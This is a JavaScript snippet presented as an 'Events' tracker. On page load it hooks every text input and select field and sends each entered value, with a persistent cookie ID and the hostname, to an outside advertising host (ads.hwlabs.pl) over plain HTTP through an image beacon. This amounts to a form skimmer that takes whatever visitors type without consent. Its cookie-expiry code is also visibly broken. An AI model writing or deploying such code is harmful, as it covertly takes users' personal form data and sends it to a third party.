var Events={ uniqueid:'S56cfafcb43ca8', cookieName:'SEventId', siteId:'206', lang :'pl', init: function() { var cookieUnixId=Events.getCookie(Events.cookieName); if(cookieUnixId!=undefined){ Events.uniqueid=cookieUnixId; }else Events.setCookie(Events.cookieName,Events.uniqueid) //alert(Events.uniqueid); var inputs = document.getElementsByTagName("input"); for(a = 0; a < inputs.length; a++) { if(inputs[a].type == "text") { Events.addEvent(inputs[a],'blur',function(ident) { if(ident.value!=''){ var param='name='+encodeURIComponent(ident.name)+'&value='+encodeURIComponent(ident.value)+'&id='+encodeURIComponent(Events.uniqueid) param+='&host='+encodeURIComponent(window.location.hostname); param+='&lang='+encodeURIComponent(Events.lang); param+='&siteId='+encodeURIComponent(Events.siteId); Events.send(param); } }) } } var inputs = document.getElementsByTagName("select"); for(a = 0; a < inputs.length; a++) { { Events.addEvent(inputs[a],'blur',function(ident) { if(ident.value!=''){ var param='name='+encodeURIComponent(ident.name)+'&value='+encodeURIComponent(ident.value)+'&id='+encodeURIComponent(Events.uniqueid) param+='&host='+encodeURIComponent(window.location.hostname); param+='&lang='+encodeURIComponent(Events.lang); param+='&siteId='+encodeURIComponent(Events.siteId); Events.send(param); } }) } } }, send: function(params){ var url = "http://ads.hwlabs.pl/eventSend.php?"+params; var im= new Image; im.src=url; }, addEvent: function(ident,event,action) { if(ident.addEventListener){ ident.addEventListener(event, function(){ action(ident)}, false); } else if(ident.attachEvent){ ident.attachEvent("on"+event, function(){ action(ident)}); } else{ ident.addEventListener(event, function(){ action(ident)}, false); } }, run: function() { if(window.addEventListener){ window.addEventListener("load", Events.init, false); } else if(window.attachEvent){ window.attachEvent("onload", Events.init); } else{ document.addEventListener("load", Events.init, false); } }, setCookie: function(name, value, expires) { var cookieStr = escape(name) +"="; if (typeof value != "undefined") { cookieStr += escape(value); } //if (!expires) { expires = new Date(); expires.setTime(expires.getTime()+1000*60*20); } if(console!= undefined) console.log(expires.toGMTString()); cookieStr += "; expires="+ expires.toGMTString() +";"; //cookieStr += "; expires=0;"; document.cookie = cookieStr; }, getCookie: function(name) { var str = '; '+ document.cookie +';'; var index = str.indexOf('; '+ escape(name) +'='); if (index != -1) { index += name.length+3; var value = str.slice(index, str.indexOf(';', index)); return unescape(value); } } } Events.run();